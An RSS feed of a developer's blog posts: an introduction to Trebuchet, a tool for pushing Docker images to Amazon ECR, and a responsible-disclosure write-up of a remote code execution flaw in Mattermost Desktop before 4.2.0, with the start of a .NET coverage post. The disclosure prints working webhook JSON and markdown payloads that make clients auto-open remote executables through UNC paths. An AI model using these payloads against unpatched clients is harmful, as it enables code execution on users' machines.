<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Nathan Lowe</title>
    <description>The latest articles on DEV Community by Nathan Lowe (@nlowe).</description>
    <link>https://dev.to/nlowe</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F57377%2Fba491dd5-0d99-4c03-ac01-d58a4fcda1da.jpeg</url>
      <title>DEV Community: Nathan Lowe</title>
      <link>https://dev.to/nlowe</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/nlowe"/>
    <language>en</language>
    <item>
      <title>Introducing Trebuchet</title>
      <dc:creator>Nathan Lowe</dc:creator>
      <pubDate>Mon, 15 Jul 2019 14:53:24 +0000</pubDate>
      <link>https://dev.to/nlowe/introducing-trebuchet-ooc</link>
      <guid>https://dev.to/nlowe/introducing-trebuchet-ooc</guid>
      <description>&lt;p&gt;One of the many hats my team wears is helping our developers build and publish their software. Something we strive to do is make it as easy as possible for new developers and teams to get up and running with our chosen platform. For most teams, one of the final steps in the CI/CD pipeline is publishing a docker container to some registry. For us, this happens to be &lt;a href="https://aws.amazon.com/ecr/" rel="noopener noreferrer"&gt;Amazon ECR&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To simplify this for most teams, we've written a new tool we've called &lt;code&gt;trebuchet&lt;/code&gt;:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/HylandSoftware" rel="noopener noreferrer"&gt;
        HylandSoftware
      &lt;/a&gt; / &lt;a href="https://github.com/HylandSoftware/trebuchet" rel="noopener noreferrer"&gt;
        trebuchet
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Launch container images into Amazon ECR
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Trebuchet - Launch container images into Amazon ECR&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://travis-ci.org/HylandSoftware/trebuchet" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/2df9367778fb5091769e303090cddc71596794864e5c15e658dff11b08b44741/68747470733a2f2f7472617669732d63692e6f72672f48796c616e64536f6674776172652f7472656275636865742e7376673f6272616e63683d6d6173746572" alt="Build Status"&gt;&lt;/a&gt; &lt;a href="https://coveralls.io/github/HylandSoftware/trebuchet?branch=master" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/20eeedaa344070cd03518a873d8717d78b959b548664635f1ab2b5d42774c9a7/68747470733a2f2f636f766572616c6c732e696f2f7265706f732f6769746875622f48796c616e64536f6674776172652f7472656275636865742f62616467652e7376673f6272616e63683d6d6173746572" alt="Coverage Status"&gt;&lt;/a&gt; &lt;a href="https://goreportcard.com/report/github.com/hylandsoftware/trebuchet" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/adea5b6f65d47b539d553b0e89b5a08a98c117e6673c0c8986e04eaf855cc23b/68747470733a2f2f676f7265706f7274636172642e636f6d2f62616467652f6769746875622e636f6d2f68796c616e64736f6674776172652f73706f74" alt="Go Report Card"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/HylandSoftware/trebuchetlogo/trebuchet_200x200.png"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FHylandSoftware%2Ftrebuchetlogo%2Ftrebuchet_200x200.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The purpose of Trebuchet is to improve the quality of life for pushing Docker images to Amazon Elastic Container Registry (ECR).&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Usage&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;&lt;code&gt;Trebuchet&lt;/code&gt; is shipped as a single binary (Linux/Windows) and as a Docker image. All images can be found &lt;a href="https://hub.docker.com/r/hylandsoftware/trebuchet" rel="nofollow noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Commands&lt;/h3&gt;
&lt;/div&gt;
&lt;p&gt;&lt;code&gt;push&lt;/code&gt;:&lt;/p&gt;
&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;
&lt;pre class="notranslate"&gt;&lt;code&gt;Pushes a Docker image into ECR
Region:
        Region is required to be set as a flag, as an AWS environment variable (AWS_DEFAULT_REGION), or in the AWS config.

Profile:
        Profile may be set as a flag or an AWS environment variable. 

Amazon Resource Name (ARN):
        Passing in a valid ARN allows trebuchet to assume a role to perform actions within AWS. A typical use-case for this
        would be a service account to use in a software pipeline to push images to ECR.

Aliases:
        trebuchet push can also be used as 'treb launch' or 'treb fling' for a more&lt;/code&gt;&lt;/pre&gt;…&lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/HylandSoftware/trebuchet" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;To understand why we've written a tool for this, let's take a look at what all is involved with publishing images with the existing tooling from a CI System.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Old Way
&lt;/h2&gt;

&lt;p&gt;Before we can do anything, we have to install the AWS CLI and its dependencies. We utilize Jenkins and the Kubernetes plugin, so there are a few options here. We can either bake the CLI into one of the containers that our build pod uses, or we can install it at build time to keep the build container simple.&lt;/p&gt;

&lt;h3&gt;
  
  
  Installing the CLI
&lt;/h3&gt;

&lt;p&gt;A common Jenkins pipeline step in most of our pipelines would look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'install-tools'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;container&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'docker'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;withCredentials&lt;/span&gt;&lt;span class="o"&gt;([&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nl"&gt;credentialsId:&lt;/span&gt; &lt;span class="s1"&gt;'aws-credentials'&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;variable:&lt;/span&gt; &lt;span class="s1"&gt;'AWS_CREDENTIALS'&lt;/span&gt;&lt;span class="o"&gt;)])&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s2"&gt;"""
                    mkdir -p \${HOME}/.aws
                    cp "${AWS_CREDENTIALS}" \${HOME}/.aws/credentials
                    cp ./ci/aws-config \${HOME}/.aws/config
                    apk update &amp;amp;&amp;amp; apk add py-pip
                    pip install awscli --upgrade --user
                    PATH="\${PATH}:\${HOME}/.local/bin"
                    which aws
                    aws --version
                """&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First, we copy over our CI credentials from a Jenkins secret. Then, we install &lt;code&gt;pip&lt;/code&gt;, the python package manager, so we can install the AWS CLI package. We also update the &lt;code&gt;PATH&lt;/code&gt; environment variable in case the pip shim path isn't there already.&lt;/p&gt;

&lt;h3&gt;
  
  
  Publishing Images
&lt;/h3&gt;

&lt;p&gt;Now that we have the tooling installed, we are ready to push our docker image(s):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'publish'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;container&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'docker'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'''
                PATH="\${PATH}:\${HOME}/.local/bin"
                eval $(aws ecr get-login --no-include-email)
                REPO_NAME="$(aws ecr describe-repositories --repository-names ecr-demo --output text --query 'repositories[*].repositoryUri' || aws ecr create-repository --repository-name ecr-demo --output text --query 'repository.repositoryUri)"
                docker tag ecr-demo:${APP_VERSION} ${REPO_NAME}:${APP_VERSION}
                docker tag ecr-demo:${APP_VERSION} ${REPO_NAME}:latest
                docker push ${REPO_NAME}:${APP_VERSION}
                docker push ${REPO_NAME}:latest
                echo ${REPO_NAME} &amp;gt; repo_name.txt
            '''&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because Jenkins resets the &lt;code&gt;PATH&lt;/code&gt; variable for each step invocation, we have to re-add the pip shim path so we can find the AWS CLI. Then, we use the CLI to obtain &lt;code&gt;docker login&lt;/code&gt; credentials for our user.&lt;/p&gt;

&lt;p&gt;ECR Requires that we create a &lt;code&gt;repository&lt;/code&gt; before pushing new images. We can create one if it doesn't exist by asking AWS for the URI to push to, and if we get an error back, try to create one instead.&lt;/p&gt;

&lt;p&gt;Finally, we can re-tag our images images with the full ECR Repo URI and &lt;code&gt;docker push&lt;/code&gt; them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using Trebuchet
&lt;/h2&gt;

&lt;p&gt;Instead of using a docker daemon in our Jenkins build pod, we use &lt;code&gt;hylandsoftware/trebuchet&lt;/code&gt;. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;containers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;jnlp&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;jenkins/jnlp-slave&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;trebuchet&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;hylandsoftware/trebuchet&lt;/span&gt;
    &lt;span class="na"&gt;tty&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="na"&gt;securityContext&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;privileged&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This image runs a &lt;code&gt;dind&lt;/code&gt; docker daemon as its entrypoint, so we can still &lt;code&gt;docker build&lt;/code&gt; our images as we normally would. However, pushing to ECR is now a &lt;strong&gt;&lt;em&gt;single&lt;/em&gt;&lt;/strong&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Push Docker Image to ECR'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;withCredentials&lt;/span&gt;&lt;span class="o"&gt;([[&lt;/span&gt;&lt;span class="n"&gt;$class&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'AmazonWebServicesCredentialsBinding'&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;credentialsId:&lt;/span&gt; &lt;span class="s1"&gt;'aws_credentials_id'&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;container&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'trebuchet'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'treb push ecr-demo:${APP_VERSION}'&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trebuchet will take care of creating the ECR repository for us if it needs to. It will also re-tag the images as needed and then remove the temporary ECR tags from the local docker daemon.&lt;/p&gt;

&lt;h2&gt;
  
  
  In Conclusion
&lt;/h2&gt;

&lt;p&gt;Thanks to my co-worker &lt;a href="https://github.com/jhindulak" rel="noopener noreferrer"&gt;Jason&lt;/a&gt; for leading the charge on this.&lt;/p&gt;

&lt;p&gt;Trebuchet is released under the MIT License; we hope you'll find it useful. Be sure to open a GitHub issue or submit a Pull Request for any bugs or new features you'd like to see implemented!&lt;/p&gt;

</description>
      <category>aws</category>
      <category>ecr</category>
      <category>docker</category>
    </item>
    <item>
      <title>RCE in Mattermost Desktop earlier than 4.2.0</title>
      <dc:creator>Nathan Lowe</dc:creator>
      <pubDate>Mon, 07 Jan 2019 22:29:57 +0000</pubDate>
      <link>https://dev.to/nlowe/rce-in-mattermost-desktop-earlier-than-420-5aef</link>
      <guid>https://dev.to/nlowe/rce-in-mattermost-desktop-earlier-than-420-5aef</guid>
      <description>&lt;p&gt;First things first, if you use &lt;a href="https://github.com/mattermost/desktop" rel="noopener noreferrer"&gt;Mattermost Desktop&lt;/a&gt; and aren't already on 4.2.0, you should update immediately.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqjlu1oat3ljibuespz14.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqjlu1oat3ljibuespz14.png" width="741" height="561"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What a way to end a Monday.&lt;/p&gt;

&lt;h2&gt;
  
  
  Discovery
&lt;/h2&gt;

&lt;p&gt;Jeff Ziegener and Scott Payne first discovered this while trying to set the profile image for an integration to a UNC path. They discovered that when the integration would post a message, it would open the image at the specified UNC path... in &lt;strong&gt;Windows Photo Viewer&lt;/strong&gt;! After some further digging, we discovered this wasn't limited to just photos. We could open any executable the user had access to on a remote share. We could also make users visit arbitrary web pages in their default browser by setting the integration profile picture to a UNC path to a shortcut. For example, sending the following payload to an incoming webhook produces this result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Windows Photo Viewer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Windows Photo Viewer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"icon_url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s2"&gt;some-server&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;some-share&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;tux.png"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs3llr8f5mha1zqmic0af.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs3llr8f5mha1zqmic0af.gif" width="800" height="627"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Investigation
&lt;/h2&gt;

&lt;p&gt;Further digging indicated that even though UNC Paths to &lt;code&gt;localhost&lt;/code&gt; / &lt;code&gt;127.0.0.1&lt;/code&gt; were blocked, we could open local executables if we knew the machine name of the target user and they had administrative shares enabled. For example, if my machine name is &lt;code&gt;win-01234&lt;/code&gt;, I could open a local instance of &lt;code&gt;calc.exe&lt;/code&gt; by linking to &lt;code&gt;\\win-01234\c$\windows\system32\calc.exe&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Calculator!"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"calc.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"icon_url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s2"&gt;win-01234&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;c$&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;windows&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;system32&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;calc.exe"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftbn7q69i7tu4sz7moccp.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftbn7q69i7tu4sz7moccp.gif" width="800" height="627"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Even better, every time you re-render the channel, it'll open &lt;strong&gt;all image links&lt;/strong&gt; that were rendered:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq9ndp7cdb57ozo8u4801.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq9ndp7cdb57ozo8u4801.gif" width="1146" height="899"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After reporting the bug to mattermost, we discovered that we could reproduce the bug by simply sending a message with a link or an image with a UNC path. Mattermost Desktop will open the link with the default application when clicked, or &lt;strong&gt;&lt;em&gt;automaticially when the channel is rendered&lt;/em&gt;&lt;/strong&gt; for image links. This means I can post the following message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;![](&lt;/span&gt;&lt;span class="sx"&gt;\\some-server-you-can-access\some-share\virus.exe&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And mattermost will happily execute the program at that path!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9wbcycvf691sigm43w01.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9wbcycvf691sigm43w01.gif" width="1146" height="516"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Want to rick-roll everyone in a channel? Make a shortcut people can access:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpfcrslgu9sznl7tsw609.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpfcrslgu9sznl7tsw609.png" width="614" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnnm0o2b8gtko7zxggjph.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnnm0o2b8gtko7zxggjph.gif" width="1146" height="896"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Details
&lt;/h2&gt;

&lt;p&gt;Versions of the Desktop application prior to 4.2.0 contain a vulnerability in the way certain image links are handled. Given a profile picture or image link with a non-http protocol, if the &lt;code&gt;host&lt;/code&gt; segment of the URL doesn't match the regular expression &lt;code&gt;^localhost$|^127\.0\.0\.1$|^\[::1\]$&lt;/code&gt;, the URL is then passed to electron's &lt;a href="https://electronjs.org/docs/api/shell#shellopenexternalurl-options-callback" rel="noopener noreferrer"&gt;&lt;code&gt;shell.openExternal(...)&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Open the given external protocol URL in the desktop's default manner. (For example, mailto: URLs in the user's default mail agent).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This functionality was removed in &lt;a href="https://github.com/mattermost/desktop/commit/c861827d3212468bb42dcd465642152c40721761" rel="noopener noreferrer"&gt;c86182&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Disclosure Timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;2018-10-22: Issue initially discovered by Jeff Ziegener and Scott Payne at Hyland Software&lt;/li&gt;
&lt;li&gt;2018-10-23: Issue disclosed to Mattermost per the &lt;a href="https://about.mattermost.com/report-security-issue/" rel="noopener noreferrer"&gt;Responsible Discolsure Policy&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;2018-10-24: Issue confirmed by Mattermost&lt;/li&gt;
&lt;li&gt;2018-10-28: Fix &lt;a href="https://github.com/mattermost/desktop/pull/881" rel="noopener noreferrer"&gt;merged&lt;/a&gt; to &lt;code&gt;master&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;2018-11-27: Mattermost Desktop 4.2.0 released with the fix&lt;/li&gt;
&lt;li&gt;2019-01-02: Vulnerability details released by Mattermost&lt;/li&gt;
&lt;li&gt;2019-01-07: Writeup published&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>mattermost</category>
      <category>security</category>
      <category>vulnerability</category>
    </item>
    <item>
      <title>Easy, Automated Code Coverage for .NET Core</title>
      <dc:creator>Nathan Lowe</dc:creator>
      <pubDate>Sun, 22 Jul 2018 18:27:18 +0000</pubDate>
      <link>https://dev.to/nlowe/easy-automated-code-coverage-for-net-core-1khh</link>
      <guid>https://dev.to/nlowe/easy-automated-code-coverage-for-net-core-1khh</guid>
      <description>&lt;p&gt;For my projects, I like to use &lt;a href="https://travis-ci.org/"&gt;TravisCI&lt;/a&gt; for running my builds and tests. If I'm working with a language that supports it, I also like to publish code coverage results from the test run to &lt;a href="https://coveralls.io/"&gt;coveralls.io&lt;/a&gt;. A little while back I found a cross-platform tool to calculate coverage results for .NET Core projects: &lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vWogaON8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-28d89282e0daa1e2496205e2f218a44c755b0dd6536bbadf5ed5a44a7ca54716.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/lucaslorentz"&gt;
        lucaslorentz
      &lt;/a&gt; / &lt;a href="https://github.com/lucaslorentz/minicover"&gt;
        minicover
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Cross platform code coverage tool for .NET Core
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
